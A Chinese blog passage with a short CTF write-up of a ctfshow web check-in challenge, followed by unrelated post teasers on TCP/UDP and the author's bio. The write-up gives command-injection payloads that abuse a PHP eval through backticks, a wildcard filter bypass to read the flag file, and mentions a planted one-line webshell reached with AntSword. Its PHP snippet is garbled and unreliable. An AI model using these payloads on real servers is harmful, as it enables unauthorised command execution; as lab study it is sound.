講道理,題目確實並沒有很難,然而我實在是太菜了,只做出了一題。。。
(連web簽到都不會,我覺得我可能不適合學web(○´・д・)ノ)
<?php
if(isset($_get['url']))|\]|\=|\+|\-|\_|\;|\:|\'|\"/i', $_get['url']))else
break;
}}else
過濾了很多,無法直接讀取檔案,但看到了eval
,這裡要用到eval命令執行
。
eval後面反引號`裡的內容會當做命令來執行。
?url=`ls`
可以看到有個fl00.php檔案,但是數字和php都被過濾了,所以要用linux萬用字元*
?url=`cat fl**.ph*`
開啟題目發現有一句話木馬
用蟻劍連線後查詢flag,根據修改的時間先從runtime裡開始找,這裡用到find命令
find /var/www/html/runtime | xargs grep "flag
參考
lazzaro ctfshow 菜雞杯
菜雞學習 TCP
tcp協議與udp協議的區別 tcp基於面向連線 位元組流傳輸的協議,資料傳輸可靠,傳輸速度慢。tcp通過序號 重傳 流量控制 擁塞控制實現可靠傳輸。適用於傳輸大量資料,可靠性要求高的場合。udp協議面向非連線 資料報傳輸協議,資料傳輸不可靠,傳輸速度快。udp不保障可靠傳輸,盡最大努力交付。適用於...
關於菜雞我
什麼都不會。17年聯賽掛慘了,18年估計考完聯賽就要afo。現在準備搞省選雖然沒什麼機會 我們學校雖然是弱校 但是初中部吊啊 我們教練之前是教初中的 送到長郡的神仙有任翰林 r 64 陳江倫 laofu 雅禮的神仙redbag 然而我們太菜了帶不動 其實是想寫部落格的。無奈進了暑假以後李總整治我這種...
菜雞高階之路
記錄一下自己一點大學獲獎經歷 2018.10 山東省高校機械人大賽 二等獎2018.12 青島大學電子設計競賽 一等獎2018.12 青島大學第一屆程式設計大賽 冠軍2019.3 第十屆藍橋杯山東省賽 一等獎2019.4 電腦科學與技術學院圖靈杯程式設計大賽 冠軍2019.5 山東省acm程式設計競...